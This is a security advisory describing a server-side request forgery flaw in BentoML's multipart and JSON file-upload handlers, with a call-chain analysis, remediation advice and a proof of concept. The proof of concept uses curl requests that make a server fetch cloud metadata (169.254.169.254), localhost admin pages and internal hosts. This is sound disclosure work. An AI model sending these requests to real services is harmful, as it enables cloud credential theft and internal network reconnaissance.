PT-2026-53392 · Pypi · Bentoml
Published
2026-06-29
·
Updated
2026-06-29
CVSS v3.1
9.9
Critical
| Vector | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L |
Description
There's an SSRF in the file upload processing system that allows remote attackers to make arbitrary HTTP requests from the server without authentication. The vulnerability exists in the serialization/deserialization handlers for multipart form data and JSON requests, which automatically download files from user-provided URLs without proper validation of internal network addresses.
The framework automatically registers any service endpoint with file-type parameters (
pathlib.Path, PIL.Image.Image) as vulnerable to this attack, making it a framework-wide security issue that affects most real-world ML services handling file uploads. While BentoML implements basic URL scheme validation in the JSONSerde path, the MultipartSerde path has no validation whatsoever, and neither path restricts access to internal networks, cloud metadata endpoints, or localhost services.The documentation explicitly promotes this URL-based file upload feature, making it an intended but insecure design that exposes all deployed services to SSRF attacks by default.
Source - Sink Analysis
Source: User-controlled multipart form field values and JSON request bodies containing URLs
Call Chain - Path 1 (MultipartSerde - No Validation):
- HTTP POST request with multipart form data to any BentoML endpoint with file-type input parameters
MultipartSerde.parse request()insrc/ bentoml impl/serde.py:202processes the requestform = await request.form()parses multipart data using Starlette- For file-type fields:
value = [await self.ensure file(v) for v in form.getlist(k)]at line 209 MultipartSerde.ensure file()called at lines 186-200 with user-controlled string URL- Sink:
resp = await client.get(obj)at line 193 - Direct HTTP request with zero validation
Call Chain - Path 2 (JSONSerde - Weak Validation):
- HTTP POST request with JSON body containing URL to endpoint with
IORootModel+multipart fields JSONSerde.parse request()insrc/ bentoml impl/serde.py:157processes the requestbody = await request.body()extracts request body- Condition check:
if issubclass(cls, IORootModel) and cls.multipart fields:at line 164 - Weak validation:
if is http url(url := body.decode("utf-8", "ignore")):at line 165 (only checks scheme) - Sink:
resp = await client.get(url)at line 168 - HTTP request after insufficient validation
Proof of Concept
Create a BentoML service:
python
from pathlib import Path
import bentoml
@bentoml.service
class ImageProcessor:
@bentoml.api
def process image(self, image: Path) -> str:
return f"Processed image: {image}"Deploy and exploit:
bash
# Start service (binds to 0.0.0.0:3000 by default)
bentoml serve service.py:ImageProcessor
# SSRF Attack 1 - Access AWS metadata
curl -X POST http://target:3000/process image
-F 'image=http://169.254.169.254/latest/meta-data/'
# SSRF Attack 2 - Internal service enumeration
curl -X POST http://target:3000/process image
-F 'image=http://localhost:8080/admin'
# SSRF Attack 3 - Internal network scanning
curl -X POST http://target:3000/process image
-F 'image=http://10.0.0.1:22'Expected result: Server makes HTTP requests to internal/cloud endpoints, potentially returning sensitive data in error messages or logs.
Impact
- Access AWS/GCP/Azure cloud metadata services for credential theft
- Enumerate and interact with internal HTTP services and APIs
- Bypass firewall restrictions to reach internal network resources
- Perform network reconnaissance from the server's perspective
- Retrieve sensitive information disclosed in HTTP response data
- Potential for internal service exploitation through crafted requests
Remediation
Implement comprehensive URL validation in both serialization paths by adding network restriction checks to prevent access to internal/private network ranges, localhost, and cloud metadata endpoints. The existing
is http url() function should be enhanced to include allowlist validation rather than just scheme checking.Fix
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Related Identifiers
Affected Products
Bentoml